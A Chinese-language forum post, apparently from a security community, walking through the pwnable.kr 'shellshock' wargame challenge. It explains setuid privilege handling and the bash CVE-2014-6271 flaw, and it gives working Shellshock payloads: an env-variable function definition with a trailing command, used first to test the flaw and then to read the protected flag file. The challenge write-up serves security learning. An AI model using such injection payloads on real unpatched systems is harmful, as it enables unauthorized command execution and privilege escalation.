首页
社区
课程
招聘
[分享]pwnable.kr shellshock day8
2021-1-9 20:34 8433

[分享]pwnable.kr shellshock day8

2021-1-9 20:34
8433

题目


题目暗示使用 bash 的一个漏洞

解题过程

1. 查看文件列表


flag 文件只对创建者 root 和 shellshock_pwn 可读,对我们的登录用户 shellshock 不可读。shellshock 文件对有所有用户都开放读和执行权限,而且权限里面有 s,因此普通用户在执行这个文件时会被赋予 root 权限。

2. 查看 shellshock.c

1
2
3
4
5
6
7
#include <stdio.h>
int main(){
     setresuid(getegid(), getegid(), getegid());
     setresgid(getegid(), getegid(), getegid());
     system("/home/shellshock/bash -c 'echo shock_me'");
     return 0;
}

基础知识
有效的组识别码用来决定进程执行时组的权限。
int setresuid(uid_t ruid, uid_t euid, uid_t suid);
int setresgid(gid_t rgid, gid_t egid, gid_t sgid);
参数依次是下面三个用户/组标识符:

  1. Real user ID and real group ID. 这些 ID 决定谁是进程的所有者
  2. Effective user ID and effective group ID. 这些 ID 决定进程在访问共享资源时的权限。
  3. Saved set-user-ID and saved set-group-ID. 这些 ID 用于 set-user-ID 和 set-group-ID 程序中,以保存执行程序时设置的相应有效 ID 的副本。set-user-ID 程序可以通过在其 real user ID 和 saved set-user-ID 中的值之间来回切换其 effective user ID 来获取和删除特权。
 

源码相对简单,setresuid(getegid(), getegid(), getegid()); 和 setresgid(getegid(), getegid(), getegid()); 是将进程的 real user ID,real group ID,effective user ID,effective group ID, saved set-user-ID,saved set-group-ID 都设置为执行目前进程有效组识别码。所以我们刚开始启动程序时,我们对程序的权限与 other 相同,即 r+x,在执行 setresuid() 和 setresgid() 后我们对程序的权限与 shock_pwn 相同,即 r+s,所以此时我们用于对 flag 文件的读权限。下一步是想办法执行 cat ./flag

3. 寻找 bash 漏洞

查看 bash 版本

题目暗示会用到 bash 的漏洞,所以先查看源代码中使用的 bash 版本号
./bash --version

获得 bash 版本号为 4.2.25

查找对应 bash 版本的漏洞

直接搜索 bash 4.2.25 漏洞,发现 CVE-2014-6271 符合我们的要求,而且漏洞名称就是 Shellshock,与题目名称相同。

查看漏洞原理

首先因为 bash 中的自定义函数,只需要函数名就能够调用该函数,如:

1
2
3
4
5
6
$foo() {echo Hello}
$foo
>Hello
# 环境变量
#     KEY= foo
#     VALUE=() { echo bar;}

所以我们可以构造检测的payload

环境变量:

  • KEY=foo
  • VALUE=() { :;};echo Hello

产生此错误的主要原因在于在输入的过滤中没有严格限制边界,也没有判断参数是否合法。

验证漏洞是否存在

env x='() { :;}; echo Vulnerable CVE-2014-6271 ' ./bash -c "echo test""

输出了 Vulnerable CVE-2014-6271 所以漏洞存在

4. pwn

env x='() { :;}; bash -c "cat ./flag "' ./shellshock
记得加上 bash -c 否则会报错 /home/shellshock/bash: cat: No such file or directory
红框内为 flag

参考文献

  • https://www.antiy.com/response/CVE-2014-6271.html
  • https://blog.csdn.net/pygain/article/details/53969081

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-1-10 13:49 被cease2e编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 3484
活跃值: (2282)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
citscn 2021-1-10 10:15
2
0
游客
登录 | 注册 方可回帖
返回